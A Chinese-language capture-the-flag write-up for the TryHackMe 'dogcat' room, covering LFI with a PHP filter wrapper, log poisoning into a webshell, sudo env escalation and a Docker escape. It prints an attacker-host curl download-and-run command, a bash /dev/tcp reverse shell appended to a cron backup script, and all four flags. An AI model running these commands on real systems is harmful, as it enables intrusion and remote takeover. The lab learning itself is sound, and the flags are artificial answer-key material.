打靶记录(十四)之THMdogcat
扫了下端口,发现只有22和80两个端口
flag1(文件包含)
先扫一下目录,因为要找flag,所以搜索一下php,html,txt之类的文件
gobuster dir -u http://10.10.102.87/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 60 |
gobuster dir -u http://10.10.102.87/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 60 |
登录进来发现是一个选择,随便选一个
因为发现有传参,试试看是否存在注入,发现报错,所以存在注入
还试了一下文件包含,发现没有,那就想试着用sqlmap跑跑看,发现也跑不出来
目录扫出来一个flag.php
想直接访问来着,发现是一片空白,读不出来,可能没有显示PHP的代码,那就试着用伪协议来读
提示说只能有狗或者猫,之前貌似做过这个,需要URL里出现dog或者cat
那就访问
http://10.10.102.87/?view=php://filter/read=convert.base64-encode/resource=dog/../flag |
因为目录扫出来会发现他们是在同一个目录下的
得到flag的base64编码,解码得到
flag1:
THM{Th1s_1s_N0t_4_Catdog_ab67edfa}
flag2(Getshell)
既然这样,那就用包含dog或者cat的伪协议来读取index.php
得到一串PHP代码,让我们来分析一下
先是定义了一个叫做containsStr的方法,来判断第一个字符串中是否含有第二个字符串,是的话返回真
然后需要存在一个view参数,如果有dog或cat就输出’Here you go!’,不存在就输出’Sorry, only dogs or cats are allowed.’
然后定义了一个ext参数,应该是用作后缀名,如果不存在就赋值为”php”
原来之前不能访问/etc/passwd应该是后缀的问题
这次加上ext,值为空,那就能访问passwd了
http://10.10.102.87/?ext=&view=php://filter/read=convert.base64-encode/resource=dog/../../../../../../../../../../etc/passwd |
但获得的都是一些系统用户,没有什么实际的用处
到这里思路就断了
WP用的是用日志中毒
把UA改成一个一句话木马测试一下,然后GET改成apache的日志,我也不知道这个路径应该是apache日志默认目录吧
既然这样,那就可以来用这个木马来访问一个本地的反弹shell文件,有点像远程文件包含
MD,接下来的步骤卡了NM几万年!!!头一次打靶机打的想似
在本地开启一个服务器
python -m http.server 80 |
然后在这个目录放一个PHP的反向shell
将test的值赋值为
curl%20http://10.11.38.245/reverseshell.php%20-o%20shell.php%20&&%20chmod%20+x%20shell.php%20&&%20./shell.php |
URL编码前:
curl http://10.11.38.245/reverseshell.php -o shell.php && chmod +x shell.php && ./shell.php |
然后在给test赋值为ls,可以看到shell.php存在
开启监听
在浏览器中访问
终于连上了啊啊啊啊啊相似啊
在/var/www目录找到了第二个flag
THM{LF1_t0_RC3_aec3fb}
flag3(提权)
下一个flag估计要提权了,sudo -l 看一下
直接执行
sudo env /bin/sh |
成功提权
/root/flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}
flag4(docker逃逸)
在这个房间开头让我们突破docker,也就是说我们现在访问到的都是docker容器,所以要突破这个容器到达宿主机
输入hostname,发现主机名字是一串数字和字母也可以知道我们现在在docker中
在/opt/backcups发现了一个奇怪的脚本,cat看一下
应该是宿主机的一个备份命令
echo "bash -i >& /dev/tcp/10.11.38.245/1235 0>&1" >> backup.sh |
追加一段反向shell在这个脚本尾
开启另一个监听
过了几分钟发现接收到了shell,主机名叫dogcat,应该就是宿主机了,也就是说宿主机设置了一个计划任务,会执行这个脚本(大概),这块还不太懂啊。
在root中
flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
碎碎念
打了相当久一个靶机,真的打到崩溃,相当折磨qwq。不过收获也是相当的大!复习了一下文件包含,也学到了日志中毒。然后第一次接触docker逃逸类型,打算好好学学这个,对于docker还不是很熟悉呢